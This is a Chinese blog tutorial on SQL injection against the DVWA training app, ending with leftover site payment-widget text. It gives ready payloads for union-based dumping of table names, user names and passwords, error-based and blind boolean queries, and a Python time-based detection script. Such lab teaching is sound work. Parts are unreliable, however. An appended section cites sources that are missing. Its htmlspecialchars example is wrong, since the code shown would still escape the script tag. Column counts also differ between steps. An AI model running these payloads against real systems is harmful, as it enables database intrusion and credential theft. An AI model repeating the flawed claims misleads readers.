SQL注入简单版思路总结 (基于DVWA系统)

本文总结了SQL注入的基础思路,通过DVWA系统进行演示。首先探测是否存在SQL注入,通过不同输入测试PHP处理方式。接着,确定表单字段数、数据库名,并利用`UNION`和`INFORMATION_SCHEMA`获取表名和字段信息。最后,通过已知字段名获取实际数据。

对于有提示,丝毫不加过滤的表单注入顺序如下:
一.探测是否有诸如点
常用的简单php处理语句有三类:
1.select *from … where id=’$input_data’
2.select *from … where id=$input_data
3. select *from … where id="$input_data"
对于这三种情况,需要输入三种数据进行探测
最常见的情况1,输入*1' or '1'='1*
情况2,输入*1 or 1=1*
情况3 ,输入1" or "1"="1

二.探测输入数据这个表单中的字段数
1' order by 3# #号用于注释掉后面的句子,order by的意思是将结果按什么顺序进行排序,这里可以用于探测字段数,如果该表单字段数不足3,会报错,以这种方式逐步探测该表单字段数

三.探测数据库名
利用union 函数探测数据库名

1' union select 1,2,database()#`在这里插入代码片`

这里select 1,2 完全是为了凑数,取决于该表拥有的字段数,在这里假设的是该表内有三个字段,则在第三个字段处用database()方式获得数据库名。

下列步骤要用到mysql中自带的一个包含结构信息的数据库information_schema

四.探测数据库
输入 1' union select 1,table_name from information_schema.tables where table_schema='dvwa'#

来获取dvwa库中的表名,具体看下在这里插入图片描述
tables表单中存有的信息,table_schema内存的是所有数据库名,table_name内存有数据库内表单名,用这种方式筛选某库中有的表单信息。

五,已知目标表单名后获取字段名
基本方法依然是利用information_schema,这时候要用到另一个表单columns

1' union select 1,column_name from information_schema.columns where table_name='users'#

该表单字段如下在这里插入图片描述

六.已知字段名后获取各个字段的值(这一步已不再需要information_schema)
假设这里从users表里发现了userid,password字段。那么只需要一句sql语句就可以获得其中的值了

1' union select user,password from users#
### Kali Linux 中针对 DVWASQL 注入攻击及绕过防御技术 #### 背景介绍 DVWA(Damn Vulnerable Web Application)是一个用于教育目的的漏洞练习平台,旨在帮助用户了解常见的Web应用安全漏洞及其利用方法。SQL注入是一种通过输入恶意SQL语句来操控数据库的行为,在低安全性配置下容易实现。 以下是关于如何在Kali Linux环境中对DVWA进行SQL注入攻击以及可能的绕过防御技巧: --- #### 一、基础环境准备 确保已安装并运行Kali Linux和DVWA服务。可以通过浏览器访问`http://<your-ip>/dvwa/`登录到DVWA界面,并设置目标难度为“Low”或更高以测试不同的防护机制[^1]。 --- #### 二、SQL Injection 攻击方式 ##### 1. **Union-Based SQL Injection** 当应用程序未正确过滤特殊字符时,可以尝试使用 `UNION SELECT` 构造查询字符串获取额外数据。 ```sql ' UNION ALL SELECT null, version(), database(); -- ``` 上述命令会返回MySQL本号和当前使用的数据库名称。 ##### 2. **Error-Based SQL Injection** 如果服务器启用了错误回显功能,则可通过触发异常提取敏感信息。例如: ```sql ' AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_name='users')>0 -- ``` 此脚本验证是否存在名为 “users”的表。 ##### 3. **Blind Boolean SQL Injection** 对于无反馈页面响应场景下的盲注,可采用布尔型判断逐步推导出隐藏字段的内容。比如逐位猜解密码hash值: ```sql ' AND ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))=50;-- ``` 这里假设第一个用户的password首字母ASCII码等于50。 --- #### 三、绕过HTML转义函数htmlspecialchars() 尽管启用htmlspecialchars()能够显著提升XSS防范能力,但在某些特定条件下仍可能存在被规避的风险。例如,当开发者仅依赖默认参数调用该函数而忽略ENT_QUOTES标志时,单引号可能会保持原样从而允许执行嵌套JavaScript代码片段[^3]。 考虑如下情况: ```php <?php echo htmlspecialchars("<script>alert('test');</script>", ENT_NOQUOTES); ?> ``` 由于缺少ENT_QUOTES选项,“’”不会得到转换,因此潜在威胁依然存在。 另外需要注意的是,即使经过编码处理后的输出也可能因上下文差异再次解析成危险指令。所以建议综合运用多种手段加强整体安全性评估工作流程中的每一个环节都至关重要。 --- #### 四、高级Bypass Techniques Against Modern Defenses 随着现代框架引入ORM层抽象以及其他内置保护措施,传统手法往往难以奏效。此时需探索更多创新思路应对挑战: - 利用时间延迟特性实施基于时间轴上的逻辑推理(Time-based blind sql injection); - 结合其他类型的web漏洞(如文件上传缺陷)间接达成最终目的; - 针对具体业务逻辑设计定制化payloads等等. 总之,持续更新自己的知识体系紧跟最新趋势变化非常重要! --- ### 示例代码展示 下面给出一段简单的Python脚本来自动化探测过程: ```python import requests url = "http://target/dvwa/vulnerabilities/sqli/" data={'id':"' OR SLEEP(5)--",'Submit':'Submit'} response=requests.post(url,data=data) if response.elapsed.total_seconds()>4 : print("[+] Time Based Blind Sql Injection Detected!") else : print("[-] No vulnerability found.") ``` 以上程序发送POST请求给指定URL地址的同时附加精心构造的数据包(id字段),观察其耗时时长是否明显增加作为判定依据之一. ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值